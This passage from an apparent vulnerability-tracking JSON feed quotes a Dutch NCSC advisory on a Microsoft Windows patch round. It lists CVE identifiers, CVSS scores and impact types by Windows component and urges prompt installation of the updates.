tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42989 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Collaborative Translation Framework: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45586 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47288 | 7.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42903 | 6.50 | Denial-of-Service                   | \n| CVE-2026-42914 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44810 | 8.40 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45636 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40409 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40404 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42986 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45607 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-47652 | 8.20 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NT OS Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42980 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42916 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44809 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42837 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nUI Automation Manager (uiamanager.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45597 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47291 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Kinect: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41092 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SDK: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45593 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48574 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Performance Monitor: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42981 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42974 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Identity (AppID) Subsystem: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45594 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45604 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Administrator Protection: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42829 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRole: Windows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45641 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-42972 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48565 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45634 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45602 | 9.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Internet (wininet.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45592 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42987 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49160 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42912 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42968 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Controller (NC) Host Agent: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44805 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48566 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45637 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42905 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44811 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42983 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44802 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44814 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44813 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Boot Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47656 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45487 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47648 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42906 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42907 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45648 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-06-09T15:44:28.000000Z"}, {"uuid": "bfb379f1-cb61-432b-852f-69bc929c5c79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48574", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0181", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot diverse categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nTussen deze kwetsbaarheden zitten een zestal zeer ernstige, welke door Microsoft zijn ingeschaald met een CVSS score van 9 en hoger.\nDeze kwetsbaarheden bevinden zich in diverse componenten van Windows die bereikbaar en benaderbaar zijn vanaf netwerkverbindingen, zoals http.sys, DHCP, de Kernel en TCP/IP. Door de externe bereikbaarheid en de mogelijkheden tot uitvoer van willekeurige code, is het risico op grootschalig misbruik op korte termijn aanwezig. Op dit moment wordt (nog) geen actief misbruik waargenomen en is (nog) geen publieke Proof-of-Concept (PoC) of exploit bekend, maar het NCSC verwacht deze wel op korte termijn en adviseert daarom deze updates met spoed in te zetten.\n\n```\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42904 | 9.60 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42915 | 5.70 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45655 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-45658 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50507 | 6.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Mark of the Web (MOTW): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45595 | 5.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42969 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42971 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42970 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42973 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42978 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42977 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42979 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42991 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41108 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45640 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34335 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45601 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45598 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45596 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45638 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45603 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42911 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nFunction Discovery Service (fdwsd.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42836 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2025-10263 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45657 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48583 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45653 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42984 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45588 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48568 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48570 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48573 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48575 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48576 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48578 | 7.90 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45654 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47289 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47653 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47654 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-48563 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42909 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42913 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42992 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44799 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44801 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42985 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-42993 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft UxTheme Library (uxtheme.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45606 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45600 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45608 | 6.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45599 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-45635 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45605 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows UEFI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45656 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-8863  | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Hotpatch Monitoring Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42910 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Azure Attestation service and Device Health Attestation Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45642 | 3.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45639 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42908 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42989 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Collaborative Translation Framework: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45586 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47288 | 7.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42903 | 6.50 | Denial-of-Service                   | \n| CVE-2026-42914 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44810 | 8.40 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45636 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40409 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40404 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42986 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45607 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-47652 | 8.20 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NT OS Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42980 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42916 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44809 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42837 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nUI Automation Manager (uiamanager.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45597 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47291 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Kinect: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41092 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SDK: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45593 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48574 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Performance Monitor: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42981 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42974 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Identity (AppID) Subsystem: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45594 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45604 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Administrator Protection: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42829 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRole: Windows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45641 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-42972 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48565 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45634 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45602 | 9.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Internet (wininet.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45592 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42987 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49160 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42912 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42968 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Controller (NC) Host Agent: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44805 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48566 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45637 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42905 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44811 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42983 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44802 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44814 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44813 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Boot Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47656 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45487 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47648 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42906 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42907 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45648 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-06-09T15:44:28.000000Z"}, {"uuid": "ba5b825a-fc35-4ddd-bcf6-90d48cd80b76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 